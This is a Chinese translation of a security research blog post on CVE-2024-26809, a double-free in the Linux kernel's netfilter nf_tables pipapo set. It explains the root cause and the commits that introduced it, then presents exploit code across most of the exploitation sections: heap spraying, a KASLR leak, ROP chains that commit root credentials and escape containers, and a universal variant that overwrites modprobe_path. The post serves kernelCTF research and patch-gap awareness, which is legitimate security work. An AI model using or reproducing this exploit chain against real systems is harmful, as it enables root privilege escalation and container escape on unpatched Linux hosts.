OtterRoot:Netfilter通用Root提权1-day漏洞

  • osecio
  • 发布于 2024-11-26 18:21
  • 阅读 15

本文分析了Linux内核netfilter子系统中一个已公开的漏洞CVE-2024-26809,该漏洞允许攻击者在已修复漏洞和补丁发布之间的时间差内,利用1-day漏洞实现类似于0day的本地权限提升或容器逃逸。

OtterRoot: Netfilter 通用 Root 1day

对 Linux 内核安全状态和开源补丁间隙的一瞥。我们探索了如何监控提交以查找新的错误修复,并通过利用 1 天漏洞实现了类似 0day 的能力。

OtterRoot 标题图像:Netfilter 通用 Root 1day

在 3 月下旬,我尝试监控 Linux 内核子系统中易受攻击错误的提交,部分是为了研究通过补丁间隙/循环 1day 来维持 LPE/容器逃逸能力的可行性,同时也为了提交给 KernelCTF VRP

在研究过程中,我很快遇到了一个在 netfilter 中修复的可利用的 bug,该 bug 被标记为 CVE-2024-26809(最初由 lonial con 发现),并且能够在 KernelCTF LTS 实例中利用它,并编写一个通用的 exploit,该 exploit 可以在不同的内核版本上运行,而无需使用不同的符号或 ROP gadgets 重新编译。

在这篇文章中,我将讨论如何通过迅速利用补丁间隙在修复程序向下游传播之前编写 exploit,从而利用 1day 获得大约两个月的类似 0day 的 LPE/容器逃逸能力。我还将分享我分析补丁以理解 bug、隔离引入它的 commit、在 KernelCTF VRP 中利用它,以及最终如何开发通用 exploit 以针对主流发行版的旅程。

内核

内核位于操作系统的核心;它的目的不是成为一个常规应用程序,而是创建一个应用程序可以在其上运行的平台。内核直接与硬件交互,以实现你可以从操作系统中期望的一切,例如用户隔离和权限、网络、文件系统访问、内存管理、任务调度等。 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀image

内核公开了一个用户应用程序可以用来请求他们无法直接执行的操作的接口(例如,将一些内存映射到我的进程的虚拟地址空间、将一些文件暴露给我的进程、打开一个网络套接字等)。这被称为 syscall 接口,是将数据从用户空间传递到内核空间的主要形式。

内核利用

由于内核处理用户应用程序传递的请求,它像任何代码一样容易出现 bug 和安全漏洞,范围从逻辑问题到内存损坏,攻击者可以使用这些漏洞来劫持内核上下文中的执行或以某种其他方式提升权限。考虑到这一点,我们可以期望典型的内核 exploit 看起来像这样:

  • 在某些内核子系统中触发一些内存损坏
  • 使用它来获得一些更强的原语(控制流、任意 R/W 等)
  • 使用你当前的原语来提升你的权限(通常通过更改进程的 creds 或具有类似后果的某些东西)

我强烈建议阅读 Lkmidas 的内核利用简介 博客文章,以更熟悉该主题。

nf_tables

nf_tables 是 Linux 内核的 netfilter 子系统的一个组件。它是一种数据包过滤机制,是诸如 iptables 和 Firewalld 之类的工具当前使用的后端。其他研究人员已经彻底讨论了它的内部结构 1, 2。我建议简要阅读这些文章,以了解 nf_table 对象的层次结构以及我们如何操纵它们来创建可配置的过滤机制。

为了本博客文章的目的,我将省略任何与漏洞没有直接关系的细节。

事务

事务是更新 nf_tables 对象/状态的交互。它大致由一批修改某些 nf_tables 对象的操作组成(添加/删除/编辑表、集合、元素、对象等)。它们大致由 3 个不同的阶段组成:

  • 控制平面 准备每个操作,如果某些操作失败,则中止整个批处理;否则,提交整个批处理。
  • 提交路径 在控制平面之后,如果所有操作都成功,我们将应用更改(有效地修改表、集合等)。
  • 中止路径 仅当在控制平面中检测到某些错误情况时触发;撤消在控制平面期间完成的操作,并跳过提交。

漏洞细节

接下来,让我们看看修复该 bug 的 补丁

diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c
index c0ceea068936a6..df8de509024637 100644
--- a/net/netfilter/nft_set_pipapo.c
+++ b/net/netfilter/nft_set_pipapo.c
@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,

        m = rcu_dereference_protected(priv->match, true);

  if (m) {
   rcu_barrier();

-  nft_set_pipapo_match_destroy(ctx, set, m);
-
   for_each_possible_cpu(cpu)
    pipapo_free_scratch(m, cpu);
   free_percpu(m->scratch);
@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,
  if (priv->clone) {
   m = priv->clone;

-  if (priv->dirty)
-   nft_set_pipapo_match_destroy(ctx, set, m);
+  nft_set_pipapo_match_destroy(ctx, set, m);

   for_each_possible_cpu(cpu)
    pipapo_free_scratch(priv->clone, cpu);

如果设置了 priv->dirtypriv->clone 变量,则会调用两次 nft_set_pipapo_match_destroy(),一次以 priv->match 作为参数,然后再次以 priv->clone 作为参数。看看这个函数的作用,我们可以看到它正在迭代 setsetelem s,并为每个 setelem 调用 nf_tables_set_elem_destroy()

static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,
      const struct nft_set *set,
      struct nft_pipapo_match *m)
{
 struct nft_pipapo_field *f;
 int i, r;

 for (i = 0, f = m->f; i < m->field_count - 1; i++, f++)
  ;

 for (r = 0; r < f->rules; r++) {
  struct nft_pipapo_elem *e;

  if (r < f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)
   continue;

  e = f->mt[r].e;

  nf_tables_set_elem_destroy(ctx, set, &e->priv);
 }
}

然后将 kfree() setelem

void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
    const struct nft_set *set,
    const struct nft_elem_priv *elem_priv)
{
 struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);

 if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));

 kfree(elem_priv);
}

nft_pipapo_match 对象包含 setsetelem s 的视图。priv->matchpriv->clone 匹配对象之间的区别在于,克隆不仅具有“正常”匹配对象已提交的 setelem s 的视图,还具有仅存在于当前控制平面中的尚未提交的 setelem s 的视图。换句话说,控制平面会更改克隆,如果到达提交路径,则更改会提交到 priv->match

根本原因分析

因此,为两个匹配对象调用 nf_tables_set_elem_destroy 似乎是一个非常直接的 双重释放 已提交的 setelem s,因为这些 setelem s 将具有重复的视图。乍一看,这看起来有些奇怪。这个 bug 是如何产生的?之前为什么没有检测到?让我们试着弄清楚。

我们现在应该尝试了解如何使用设置的 priv->dirty 标志到达该路径,该标志是 pipapo setelem 的私有数据的成员,只要在事务的控制平面阶段对 set 进行更改,该标志就会变为 true。这是为了告诉提交路径此 set 有必须提交的更改。如果我们参考代码,我们会发现我们可以通过插入一个新元素来使 set 变脏。

static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,
        const struct nft_set_elem *elem,
        struct nft_elem_priv **elem_priv)
{
[...]
 priv->dirty = true;
[...]
}

我们还看到,当提交更改时,此标志将被取消设置。

static void nft_pipapo_commit(struct nft_set *set)
{
[...]
 if (!priv->dirty)
  return;
[...]
 priv->dirty = false;
[...]
}

我们可以得出结论,只要我们可以在同一事务中插入一个 setelemset 中以使其变脏,然后删除该 set,我们就可以触发 双重释放。但是还有另一个条件:在提交路径中,如果一个 set->commit() 方法在其 ->destroy() 方法之前执行,那么 dirty 标志将被取消设置,并且我们将无法触发 双重释放

让我们再次参考代码,看看这些方法是如何被调用的。

static int nf_tables_commit(struct net *net, struct sk_buff *skb)
{
[...]
  case NFT_MSG_DELSET:
  case NFT_MSG_DESTROYSET: // [1]
   nft_trans_set(trans)->dead = 1; // [2]
   list_del_rcu(&nft_trans_set(trans)->list);
   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),
          trans->msg_type, GFP_KERNEL);
   break;
  case NFT_MSG_NEWSETELEM: // [3]
[...]
   if (te->set->ops->commit &&
       list_empty(&te->set->pending_update)) {
    list_add_tail(&te->set->pending_update,
           &set_update_list);
   }
[...]
 }

 nft_set_commit_update(&set_update_list);
[...]
 nf_tables_commit_release(net);

 return 0;
}

上面的代码中的 nft_set_commit_update() 函数将为任何标记为等待更新的对象调用 ->commit() 方法。

static void nft_set_commit_update(struct list_head *set_update_list)
{
 struct nft_set *set, *next;

 list_for_each_entry_safe(set, next, set_update_list, pending_update) {
  list_del_init(&set->pending_update);

  if (!set->ops->commit || set->dead) // [4]
   continue;

  set->ops->commit(set); // [5]
 }
}

稍后,调用 nf_tables_commit_release() 函数来释放任何标记为释放的对象,最终调用 set->destroy() 方法。

static void nf_tables_commit_release(struct net *net)
{
[...]
 schedule_work(&trans_destroy_work);
[...]
}
[...]
static void nf_tables_trans_destroy_work(struct work_struct *w)
{
[...]
 list_for_each_entry_safe(trans, next, &head, list) {
  nft_trans_list_del(trans);
  nft_commit_release(trans);
 }
}
[...]
static void nft_commit_release(struct nft_trans *trans)
{
 switch (trans->msg_type) {
[...]
 case NFT_MSG_DELSET:
 case NFT_MSG_DESTROYSET:
  nft_set_destroy(&trans->ctx, nft_trans_set(trans));
[...]
}
[...]
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
[...]
 set->ops->destroy(ctx, set);
[...]
}

似乎不可能在释放步骤中使 priv->dirty 为 true,因为 ->commit() 方法总是首先被调用... 然而,最后一个部分使这个 bug 变得活跃:set->dead 标志。如果一个 set 被标记为删除,它会收到 set->dead 标志 2。如果设置了这个标志,那么提交路径将跳过对这个 set 的任何提交 4。这对我们来说非常方便,并且允许我们触发 双重释放,因为 priv ->dirty 标志没有在应该清除的时候被清除。

追踪有罪的提交

上面的场景引发了一些关于这个漏洞是如何被引入的有趣的推测。请参阅,关于这个漏洞的任何 公告 都会说它是由这个 提交 引入的,考虑到这添加了在同一路径中释放两次的奇怪代码,这听起来很合理。然而,通过检查 set->dead 标志的 blame,这实际上使这个漏洞可以被利用,我们将了解到它仅仅在上面的提交的一年后才在这个 提交 中被引入。

通过阅读第一个提交的信息,我们终于可以理解为什么添加这段代码:

New elements that reside in the clone are not released in case that the
transaction is aborted.

[16302.231754] ------------[ cut here ]------------
[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]
[...]
[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155
[...]
[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]
[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 <0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05
[...]
[16302.231917] Call Trace:
[16302.231919]  <TASK>
[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]
[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]
[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]
[16302.231952]  ? __nla_validate_parse+0x48/0x190
[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]
[16302.231963]  netlink_unicast+0x211/0x340
[16302.231969]  netlink_sendmsg+0x21e/0x460

Add nft_set_pipapo_match_destroy() helper function to release the
elements in the lookup tables.

Stefano Brivio says: "We additionally look for elements pointers in the
cloned matching data if priv->dirty is set, because that means that
cloned data might point to additional elements we did not commit to the
working copy yet (such as the abort path case, but perhaps not limited
to it)."

Fixes: 3c4287f62044 ("nf_tables: Add set type for arbitrary concatenation of ranges")
Reviewed-by: Stefano Brivio <sbrivio@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

正如我们之前讨论的,通过创建匹配对象的克隆来提交对 pipapo set 的更改,在控制平面期间对克隆进行更改。稍后,如果我们进入提交路径,则通过简单地用其更新的克隆替换 set 的匹配对象,在 ->commit() 方法中提交更改。因此,检查 priv->dirty 标志然后再次调用 free 可以确保我们还释放未提交的更改。

这在提交路径中没有意义,而仅在中止路径中才有意义。显然,当中止创建 set 的事务时,将不会有已提交的更改,并且只会克隆内部的元素,这些元素最终将永远不会被提交。因此,为了确保我们释放这些未提交的元素,至关重要的是释放克隆中的内容。

当引入这段代码时,它只能从中止路径访问,因为只有在这种路径下才能调用 set->ops->destroy() 而不清除 priv->dirty 标志,考虑到你没有 setelem s 的重复视图,这很好,所以它们都将在克隆集中。

但是,当引入 set->dead 标志时,有关提交路径的一些假设发生了变化。它创建了一种新的方式来访问这段代码,同时已经在集合中提交了更改。这意味着任何已经提交的更改将在“正常的”匹配对象中有一个视图,在克隆中也有一个视图。

通过仅删除克隆中的元素来修复漏洞,因为克隆应该具有已提交和未提交更改的所有视图,从而有效地消除了 双重释放 漏洞。

KernelCTF exploit

现在我们知道了 bug 的完整故事,让我们看看我是如何在进入通用 exploit 之前在 KernelCTF LTS 实例中利用它的。该 exploit 的很大一部分是基于 lonial con 在 之前的 kernelCTF exploit 中分享的 nft_object + udata 技术。

触发 UAF/避免 双重释放 检测

SLUB 分配器具有一个简单的 双重释放 检测机制,可以发现直接的序列,例如,同一个对象连续两次被添加到空闲列表中,而中间没有添加任何其他对象。 正如我们所看到的,nft_set_pipapo_match_destroy 迭代集合中的 setelems 并释放每个元素,因此通过在集合中包含多个元素来避免检测应该相对简单,在这种情况下将发生以下情况:

  1. 元素 A 被释放
  2. 元素 B 被释放
  3. 元素 A 再次被释放(双重释放
  4. 元素 B 再次被释放(双重释放
[...]
static void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)
{
[...]
    // TRANSACTION 2
[...]

    // create pipapo set
    uint8_t desc[2] = {16, 16};
    set = create_set(
        batch, seq++, exploit_table_name, "pwn_set", 0x1337,
        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);

    // commit 2 elems to set (elems A and B that will be double-freed)
    for (int i = 0; i < 2; i++)
    {
        elem[i] = nftnl_set_elem_alloc();
        memset(key, 0x41 + i, KEY_LEN);
        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, "pwnobj", 7);
        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);
        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);
        nftnl_set_elem_add(set, elem[i]);
    }
[...]

    // TRANSACTION 3
[...]
    set = nftnl_set_alloc();
    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, "pwn_set");

    // make priv->dirty true
    memset(key, 0xff, KEY_LEN);
    elem[3] = nftnl_set_elem_alloc();
    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, "pwnobj", 7);
    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);
    nftnl_set_elem_add(set, elem[3]);
[...]

    // double-free commited elems
[...]
    nftnl_set_free(set);
}
[...]

泄露 KASLR

表包含一个轮廓线用户数据缓冲区 udata,我们可以读取和写入该缓冲区。通过在 双重释放 插槽上分配一个 udata 缓冲区,然后将其与 nft_object 重叠,我们可以泄露 ->ops 指针,并使用它来计算 KASLR slide。 image

[...]
    // spray 3 udata buffers to consume elems A, B and A again
    udata_spray(nl, 0xe8, 0, 3, NULL);

    // check if overlap happened (i.e if we have to overlapping udata buffers)
    char spray_name[16];
    char *udata[3];
    for (int i = 0; i < 3; i++)
    {
        snprintf(spray_name, sizeof(spray_name), "spray-%i", i);
        udata[i] = getudata(nl, spray_name);
    }
    if (udata[0][0] == udata[2][0])
    {
        puts("[+] got duplicated table");
    }

    // Replace one of the udata buffers with nft_object
    // and read it's counterpart to leak the nft_object struct
    puts("[*] Info leak");
    deludata_spray(nl, 0, 1);
    wait_destroyer();
    obj_spray(nl, 0, 1, NULL, 0);
    uint64_t *fake_obj = (uint64_t *)getudata(nl, "spray-2");
[...]

泄露 nft_object 的 self 指针

正如我将在ROP部分中更深入地讨论的那样,该漏洞利用依赖于已知的可控内存地址才能工作。我决定使用 nft_object 来获取它自己的地址。这是可能的,因为 nft_object 有一个 udata 指针(类似于我用于泄露 KASLR 的 table->udata ),我可以使用它来读取/写入数据。

nft_object 结构还包含一个 list_head,该 list_head 被插入到一个循环列表中,该循环列表包含属于给定 table 的所有 nft_object 。考虑到我们的对象目前在其表中是单独存在的,nft_object 中的 table->list.next 指针将指回到 table 中包含的 list_head ,反之亦然。 image

简而言之,这意味着如果我们用它自己的 list.next 指针交换 nft_objectudata 指针,我们应该能够读取一个指针回到 nft_objectlist_head ,这也是 nft_object 本身的开始。 注意: 这是一个新颖的小技巧。

[...]
    // Leak nft_object ptr using table linked list
    fake_obj[8] = 8;           // ulen = 8
    fake_obj[9] = fake_obj[0]; // udata = list->next
    deludata_spray(nl, 2, 1);
    wait_destroyer();
    udata_spray(nl, 0xe8, 3, 1, fake_obj);

    get_obj(nl, "spray-0", true);
    printf("[*] nft_object ptr: 0x%lx\n", obj_ptr);
[...]

劫持控制流

为了劫持控制流,我们可以再次使用 nft_objectnft_object 结构有一个指向函数指针表的 ops 指针。我们可以用 udata 指针交换 ops 指针,从而控制指针表。 image

[...]
    // Fake ops
    uint64_t *rop = calloc(29, sizeof(uint64_t));
    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];
    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;
[...]
    // Send ROP in object udata
    del_obj(nl, "spray-0");
    wait_destroyer();
    obj_spray(nl, 1, 1, rop, 0xb8);
    fake_obj = (uint64_t *)getudata(nl, "spray-3");
    DumpHex(fake_obj, 0xe8);
    uint64_t rop_addr = fake_obj[9]; // udata ptr
    printf("[*] ROP addr: 0x%lx\n", rop_addr);

    // Point to fake ops
    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table
[...]
    // Write ROP
    puts("[*] Write ROP");
    deludata_spray(nl, 3, 1);
    wait_destroyer();
    udata_spray(nl, 0xe8, 4, 1, fake_obj);

    // Takeover RIP
    puts("[*] Takeover RIP");
    dump_obj(nl, "spray-1");
[...]

绕过 RCU 关键部分中的上下文切换

nft_object 操作是从 RCU 关键部分调用的,对于 ROP 来说,这可能是一个问题,因为我们希望在执行我们的 payload 之后将上下文切换到用户空间,这在 RCU 关键部分中是非法的。

D3v17 在 之前的 kernelCTF 提交 中已经讨论过一种解决方法,它基本上包括使用内存写入 gadget 来覆盖我们的 task_struct 中的 RCU 锁,然后在切换到用户空间。虽然这种方法有效,但我很难找到有用的 gadget,但最终提出了一个更简单的解决方案。有一些专门用于获取/释放 RCU 锁的内核 API,因此我们应该能够简单地调用 __rcu_read_unlock() 函数并在切换上下文之前退出 RCU 关键部分。

    // ROP stage 1
    int pos = 3;

    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;

ROP

大多数用于以 root 身份逃离容器的 ROP 链与往常一样:

  • commit_creds(&init_cred); 将 root 凭据提交给我们的进程
  • task = find_task_by_vpid(1); 查找我们命名空间的 root 进程
  • switch_task_namespaces(task, &init_nsproxy); 将其移动到 root 命名空间

然而,我很难找到 gadget 来轻松地将 find_task_by_vpid(1) 的返回值从 rax 传递到 rdi。我最终使用的是 push rax; jmp qword ptr [rsi + 0x66]; ret gadget,它允许我将 rax 值推入堆栈,然后跳转到一个受控的位置,在那里我存储了一个 pop rdi; ret gadget 来消耗新的堆栈值并恢复正常的 ROP 执行。ROP 流程中的这个非常小的绕道看起来像这样:

  • 我们将值推入堆栈(堆栈指针回归)
  • 我们跳转到我们的“trampoline”gadget(pop rdi; ret; 位置)
  • pop rdi; ret 从堆栈中消耗该值(将堆栈指针恢复到应有的位置),然后我们跳回到下一个 gadget
[...]
    // commit_creds(&init_cred);
    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;
    rop[pos++] = kaslr_slide + INIT_CRED;
    rop[pos++] = kaslr_slide + COMMIT_CREDS;

    // task = find_task_by_vpid(1);
    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;
    rop[pos++] = 1;
    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;
    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;
    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop
    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];

    // switch_task_namespaces(task, &init_nsproxy);
    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;
    rop[pos++] = kaslr_slide + INIT_NSPROXY;
    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;
[...]

获取 kernelCTF 标志

image 你可以在我们的 GitHub 中找到 kernelCTF exploit。

通用 exploit

在利用 KernelCTF 之后,我决定使用此漏洞来制作一个通用的 exploit (无论目标如何,都能稳定运行,而无需修改)。为了避免一些兼容性和可靠性方面的陷阱,我采取了一种不同的方法,其中最大的陷阱是 ROP 和任何其他依赖于内核数据偏移量的东西,因为这些偏移量会因构建而异。为不同的构建编译一个 gadget 列表并不罕见,但完全避免麻烦更有意义。

使用 msg_msg->mlist.next 指针旋转功能

使用 双重释放 漏洞,我们可以将 msg_msg 对象与 udata 重叠,并控制 m_list.next 指针。

/* one msg_msg structure for each message */
struct msg_msg {
 struct list_head m_list;
 long m_type;
 size_t m_ts;  /* message text size */
 struct msg_msgseg *next;
 void *security;
 /* the actual message follows immediately */
};
[...]
struct list_head {
 struct list_head *next, *prev;
};

如果我们在同一个队列上发送大小不同的消息,使位于一个缓存中的消息的 mlist.next 指针指向不同的缓存,这将特别有趣。因此,通过在 kmalloc-cg-256 中 spraying msg_msg,每个队列中都有一个辅助消息位于 kmalloc-cg-1k 中。

通过将我们可控的 msg_msg 的 next``` [...] // 暴力破解 phys-KASLR uint64_t kernel_base; bool found = false; uint8_t data[PAGE_SIZE] = {0}; puts("[] bruteforce phys-KASLR"); for (uint64_t i = 0;; i++) { kernel_base = 0x40 ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT); pipebuf->page = vmemmap_base + kernel_base; pipebuf->offset = 0; pipebuf->len = PAGE_SIZE + 1; [...] for (int j = 0; j < PIPE_SPRAY; j++) { memset(&data, 0, PAGE_SIZE); int count; if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0) { continue; } [...]

        if (is_kernel_base(data)) // [1] 识别内核基址
        {
            found = true;
            break;
        }
    }

[...]


注意,在 1 处我们调用了 `is_kernel_base()` 函数。这是一个基于 lau 的 exploit 5 的函数,它基本上匹配了可能存在于不同构建的内核基址页面的多个字节模式,以最大化兼容性。

[...] static bool is_kernel_base(unsigned char *addr) { // 感谢 lau :)

// get-sig kernel_runtime_1
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
    memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
    return true;

// get-sig kernel_runtime_2
if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
    memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
    memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
    memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
    memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
    memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
    memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
    memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
    memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
    memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
    memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
    return true;

return false;

} [...]


### 覆盖 `modprobe_path`

在内核内存中找到 `/sbin/modprobe` 字符串,并将其替换为指向我们拥有的文件的受控值,最终变得相对简单。

一个非常著名的技巧是,尽管我们在 chroot 中运行,无法在根文件系统中创建文件,但可以使用通过 `/proc/&lt;pid>/fd/&lt;n>` 暴露的 memfd。值得补充的是,鉴于我们在非特权命名空间之外的 pid 对我们来说是未知的,我们对其进行暴力破解。

[...] puts("[*] overwrite modprobe_path"); for (int i = 0; i < 4194304; i++) { pipebuf->page = modprobe_page; pipebuf->offset = modprobe_off; pipebuf->len = 0; for (int i = 0; i < SKBUF_SPRAY; i++) { if (write(sock[i][0], pipebuf, 1024 - 320) < 0) { perror("[-] write(socket)"); break; } }

    memset(&data, 0, PAGE_SIZE);
    snprintf(fd_path, sizeof(fd_path), "/proc/%i/fd/%i", i, modprobe_fd);

    lseek(modprobe_fd, 0, SEEK_SET);
    dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);

    if (write(pfd[pipe_idx][1], fd_path, 32) &lt; 0)
    {
        perror("\n[-] write(pipe)");
    }

    if (check_modprobe(fd_path))
    {
        puts("[-] failed to overwrite modprobe");
        break;
    }

    if (trigger_modprobe(status_fd))
    {
        puts("\n[+] got root");
        goto out;
    }

    for (int i = 0; i &lt; SKBUF_SPRAY; i++)
    {
        if (read(sock[i][1], leak, 1024 - 320) &lt; 0)
        {
            perror("[-] read(socket)");
            return -1;
        }
    }
}
puts("[-] fake modprobe failed");

[...]


[lau](https://pwning.tech/nftables/#28-overwriting-modprobepath) 已经彻底详细地介绍了这个技巧,因此我们不会对此进行过多介绍。

### 通用漏洞利用演示

{%youtube tjbp4Mtfo8w %}
你可以在我们的 [GitHub](https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c) 中找到完整的通用漏洞利用程序。

## 披露时间线

- 3 月 21 日——补丁公开
- 3 月 23 日——滚动浏览提交并找到错误修复。
- 3 月 24 日——编写 KernelCTF 漏洞利用程序
- 3 月 26 日——编写通用漏洞利用程序
- 5 月 23 日——补丁登陆 Ubuntu 和 Debian

请注意,通用漏洞利用程序在大约 2 个月的时间里针对流行的发行版仍然有效。

## 结论

在这篇文章中,我讨论了如何使用刚刚公开的提交修复的错误来利用内核的最新稳定版本,并在很长一段时间内保持类似 0day 的原语。 我还讨论了利用该漏洞的两种不同方法:一种是我用来利用 KernelCTF 实例并检索标志的方法,另一种是我用来制作通用漏洞利用二进制文件的方法,该二进制文件在所有经过测试的目标中稳定运行,而无需进行适配甚至重新编译。

我们所观察到的并非新鲜事。 尽管 Linux 社区为提高内核安全性做出了努力和进步,但可以明显看出,可利用错误的供应实际上仍然是无限的,并且开源补丁的滞后足够长,可以维持有效的漏洞利用能力。
  • 原文链接: osec.io/blog/2024-11-25-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
osecio
osecio
Audits that protect blockchain ideas.